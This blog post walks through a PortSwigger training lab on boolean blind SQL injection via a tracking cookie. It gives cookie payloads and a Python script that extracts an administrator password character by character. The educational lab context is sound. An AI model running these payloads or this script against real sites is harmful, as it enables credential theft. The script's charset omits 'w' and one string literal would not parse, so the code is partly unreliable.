Drew's Site

Automating Blind SQL Injection on Cookies

Published on

Earlier this evening, I was working through one of the PortSwigger SQL injection labs which requires you to determine an administrator password by injecting some SQL into a cookie and checking if the content of the page changes because a resulting query succeeded or failed.

The attack

Basically say you have a cookie TrackingId with a value like nCoQWoq8E7c6vj1e and the page runs a query like SELECT ... FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' and inserts a “Welcome Back” banner onto the page if the query succeeds and doesn’t if it fails.

This means you can get creative with the value of the cookie to do some SQL injection and use the boolean output (either the banner displays or it doesn’t) to extract information.

To validate that there is a SQL injection path available you can try the following two values for the cookie:

nCoQWoq8E7c6vj1o' AND '1'='1
nCoQWoq8E7c6vj1o' AND '1'='0

This transforms the query from something like this:

SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o';

Into your modified query:

SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND '1'='0';

Now this might not seem very useful off the bat but you can extract a lot of information out of the database this way. Consider the following query.

SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND
  (SELECT password FROM users WHERE username = 'administrator') = 'hunter2';

Now if the “Welcome Back” banner displayed on the site you would know that you had properly guessed the admin password because the condition evaluated to true. Now this isn’t any more helpful than just trying to brute force the password on the login page (other than maybe just bypassing some rate-limits and monitoring). But what you can do to speed this up is to try to guess each letter at a time, and you can bifurcate while you’re at it. Consider the following three queries (borrowed directly from the PortSwigger tutorial).

-- This succeeds
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm';

-- This fails
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't';
 
-- This succeeds
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's';

We now know the first letter of the administrator password is ’s'!

Looking directly at the cookie values they were as follows:

nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's

This is a pretty nifty attack that lets us systematically derive the administrators password.

The Problem

Happily, I got to work on the lab and started bifurcating each letter of the administrator’s password. The issue was by the time I got done doing this for 5 letters in the password I was desperately hoping it was only 5 characters long. I had the same thoughts 8 characters, 10 characters, and 16 characters. This process was incredibly tedious and involved refreshing the page, updating the cookie info based on what I had just learned, saving the cookie, and refreshing the page again.

Obviously there had to be a better way, but because I kept feeling like I was just around the corner from cracking it I ended up powering through all 20 characters of the password. 20! This took me well over 30 minutes I think.

Clearly, this sort of repetitive work is something that should be automated.

The Solution

So let’s take a crack at this using the python requests library (mainly because it is the one I’ve used in the past). Let’s start by simply getting the page as is:

import requests
url = "https://{SOME_HEX_ID}.web-security-academy.net/"
r = requests.get(url)
print(r.status_code)
print(r.text)

And viola it works! At least we don’t have to pretend we’re a browser or something to get the page properly. Next up lets try to get the “Welcome Back!” banner.

cookies = {
    "TrackingId": "CjAZljYSS9X1ZfRg",
}
r = requests.get(url, cookies=cookies)

Incredibly this also works on the first try! Now let’s generalize this into a function that tells us whether a specific cookie gets a good response or not.

def injection_works(inject_str):
    url = "https://0a0400cc04bd096f82089e9e005900a9.web-security-academy.net/"
    cookies = {
        "TrackingId": f"CjAZljYSS9X1ZfRg{inject_str}",
    }
    r = requests.get(url, cookies=cookies)
    if r.status_code != 200:
        print(r.status_code)
        print(r.text)
        sys.exit("Request failed")
    return "Welcome back!" in r.text


if __name__ == "__main__":
    print(injection_works(""))

For the purposes of this we can just match the exact string in the response text, we don’t need to actually parse it using beautiful soup or something.

Now we can use this function to bisect the first character like so:

def determine_character(char_num):
    base_inj_str = "' AND SUBSTRING("
                   "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
    # There has got to be a cleaner way to do this right?
    base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
    charset = base_charset[:]
    while len(charset) > 1:
        mid_char_num = int(len(charset) / 2)
        mid_char = charset[mid_char_num]
        inj_str = base_inj_str.format(char_num, mid_char)
        if injection_works(inj_str):
            # The character is less than our midpoint.
            charset = charset[:mid_char_num]
        else:
            # The character is greater than or equal to our midpoint.
            charset = charset[mid_char_num:]
        time.sleep(1)
        print(charset)
    return charset[0]

if __name__ == "__main__":
    print(determine_character(1))

This successfully identifies the first character in the administrator password as ‘1’.

Finally we just need to do this iteratively until we reach the end of the password. While doing this manually I learned that when you take a substring outside of a strings length in MySQL it just returns an empty string. Lets add a case to detect that before trying to bifurcate a character, because as I learned annoyingly the first time around, the empty string will always compare as less than a single character. We can use that to our advantage however and simply test that whether the string is less than a character we know we won’t see (as we know the password is lowercase alphanumeric) like the ‘!’.

def determine_character(char_num):
    base_inj_str = "' AND SUBSTRING("
                   "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
    base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
    if injection_works(base_inj_str.format(char_num, '!')):
        return None
    ...

Then in the main function we can use an assignment expression to loop until the function returns None.

if __name__ == "__main__":
    char_num = 1
    password = ""
    while char := determine_character(char_num):
        password += char
        char_num += 1
    print(password)

And this worked on the first try! It got the password in around 3 minutes (mainly hampered by the slow response time of the server but I didn’t want to hammer the kind people at PortSwagger by parallelizing this). And all told this took me just over 50 minutes to write (including this blog post though). And while that was slightly longer than the time it took me to do this manually it was wayyyy less tedious and it’s repeatable!

Overall, I found this very enjoyable as I have played with SQL injections in the past but I haven’t tried to automate anything around it and this was a cool opportunity to do that.